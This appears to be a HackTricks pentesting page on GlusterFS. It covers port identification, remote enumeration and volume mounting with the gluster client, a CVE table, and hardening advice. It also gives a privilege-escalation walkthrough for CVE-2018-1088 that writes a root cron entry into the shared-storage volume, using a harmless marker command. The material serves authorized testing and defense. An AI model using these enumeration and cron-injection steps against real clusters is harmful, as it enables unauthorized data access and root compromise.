---
title: "24007-24008-24009-49152 - Pentesting GlusterFS"
section: "Network Services"
sectionSlug: "network-services-pentesting"
sourcePath: "src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---
# 24007-24008-24009-49152 - Pentesting GlusterFS
## Basic Information
**GlusterFS** is a **distributed file system** that combines storage from multiple servers into one **unified namespace**. Gluster documentation calls for management ports **24007–24008** and brick ports that historically started at **49152** (older deployments used **24009** onward). From Gluster 10, brick ports are selected within the configured `base-port` to `max-port` range rather than simply incremented.[[7]](#references)
```text
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
```
> Port 24007 can identify `glusterd` even when a probed node does not itself host a brick for the target volume. Treat management-plane exposure as a separate finding from volume access.
## Enumeration
Install the client utilities on your attacking box:
```bash
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
```
1. **Peer discovery & health**
```bash
# Test whether the exposed management plane returns peer state
gluster --remote-host 10.10.11.131 peer status
```
2. **Volume reconnaissance**
```bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
```
3. **Mount an accessible volume**
```bash
sudo mount -t glusterfs 10.10.11.131:/ /mnt/gluster
```
If mounting fails, check `/var/log/glusterfs/-.log` on the client side. Common issues are:
* TLS enforcement (`option transport.socket.ssl on`)
* Address based access control (`option auth.allow `)
### Certificate troubleshooting
In an authorized lab, obtain the following files from a provisioned client and place them in the paths expected by that test client. A private key is sensitive; do not copy production credentials outside the agreed scope.[[8]](#references)
```text
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
```
---
## Version-specific vulnerabilities
The affected versions and impacts below come from the cited CVE records and vendor advisory; distribution backports may change package-level status.[[2]](#references)[[3]](#references)[[6]](#references)
| CVE | Affected versions | Impact | Notes |
|-----|-------------------|--------|-------|
| **CVE-2022-48340** | GlusterFS 11.0 in the CVE record | Use-after-free in `dht_setxattr_mds_cbk` | Network-reachable denial of service; consult the distribution advisory for patched packages. |
| **CVE-2023-26253** | GlusterFS 11.0 in the CVE record | Stack buffer over-read in the FUSE notify path | Network-triggerable denial of service in affected deployments. |
| **CVE-2018-1088** | GlusterFS 3.x snapshot scheduler | Symlink-based write into a root cron file through shared storage | Privilege escalation when the vulnerable snapshot-scheduler setup exists. |
Do not infer affected ranges or RCE from a CVE title alone. Check `gluster --version` on every node, identify packaged backports, and compare with the CVE and distribution advisory.[[1]](#references)[[2]](#references)[[3]](#references)
### Assessing `gluster_shared_storage`
`gluster_shared_storage` is a special volume used by features such as geo-replication and snapshot scheduling. If it is exposed to unauthorized clients, mount it read-only first and inspect its actual contents and consumers. Do not assume a universal root-execution hook.[[4]](#references)
```bash
# 1. Attempt a read-only mount of the shared-storage volume
mkdir /tmp/gss
sudo mount -t glusterfs -o ro 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Enumerate files, ownership, ACLs, and references without modifying them
find /tmp/gss -xdev -printf '%M %u:%g %p\n'
```
#### Historical snapshot-scheduler escalation (CVE-2018-1088)
The useful privilege-escalation primitive in older GlusterFS is **not** a cluster-wide `hooks/1/start/post` directory. In an affected 3.x snapshot-scheduler setup, `snap_scheduler.py init` created `/etc/cron.d/glusterfs_snap_cron_tasks` as a symlink to `glusterfs_snap_cron_tasks` in the shared volume. A client able to mount that volume read/write could therefore control a root-parsed cron file.[[6]](#references)
An earlier draft also suggested checking `/ss_bricks/` when `hooks/1/` was absent. That path is retained as a historical filesystem-search hint, but no documented version mapping or automatic execution behavior was found; inspect ownership and consumers instead of assuming that files placed there execute.
Check the server-side preconditions first:
```bash
gluster volume get all cluster.enable-shared-storage
readlink -f /etc/cron.d/glusterfs_snap_cron_tasks
ls -l /etc/cron.d/glusterfs_snap_cron_tasks
```
For an explicitly authorized, disposable vulnerable lab, a non-destructive validation entry can create a marker rather than a reverse shell:
```bash
# Remount read/write only after confirming the exact vulnerable lab setup.
sudo mount -o remount,rw /tmp/gss
printf '* * * * * root /usr/bin/touch /tmp/ht-gluster-cve-2018-1088\n' | \
sudo tee /tmp/gss/glusterfs_snap_cron_tasks
```
The test mutates a root cron source. Remove the entry immediately after validation; patched releases changed the shared-storage access controls, and current deployments should not be assessed with this historical assumption.[[6]](#references)
### CVE-2023-26253 testing note
The flaw is in GlusterFS 11.0's FUSE notify handling. A generic short XDR record sent to `glusterd` is not a valid reproducer. Use the upstream issue's matching client/server setup in an isolated lab and monitor the affected FUSE client process.[[3]](#references)
---
## Hardening & Detection
* **Upgrade** to a vendor-supported package. Upstream 11.2 is the newest published GitHub release at the time of this review, but downstream support and backports determine the appropriate production version.[[5]](#references)
* Enable **TLS** on both client and server sides for the volume, provision trusted certificates, and restrict certificate identities with `auth.ssl-allow` where appropriate:[[8]](#references)
```bash
gluster volume set client.ssl on
gluster volume set server.ssl on
gluster volume set auth.ssl-allow
```
* Restrict clients with CIDR lists:
```bash
gluster volume set auth.allow 10.0.0.0/24
```
* Expose management port 24007 only on a **private VLAN** or through SSH tunnels.
* Watch logs: `tail -f /var/log/glusterfs/glusterd.log` and configure **audit-log** feature (`volume set features.audit-log on`).
---
## References
- [1] [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security)
- [2] [NVD — CVE-2022-48340](https://nvd.nist.gov/vuln/detail/CVE-2022-48340)
- [3] [GlusterFS issue 3954 — CVE-2023-26253](https://github.com/gluster/glusterfs/issues/3954)
- [4] [Gluster documentation — Geo-replication and shared storage](https://docs.gluster.org/en/main/Administrator-Guide/Geo-Replication/)
- [5] [GlusterFS upstream releases](https://github.com/gluster/glusterfs/releases)
- [6] [Red Hat — CVE-2018-1088 shared-storage snapshot-scheduler escalation](https://access.redhat.com/articles/3414511)
- [7] [Gluster documentation — Client and brick ports](https://docs.gluster.org/en/latest/Administrator-Guide/Setting-Up-Clients/)
- [8] [Gluster documentation — TLS setup and certificate authorization](https://docs.gluster.org/en/v3/Administrator%20Guide/SSL/)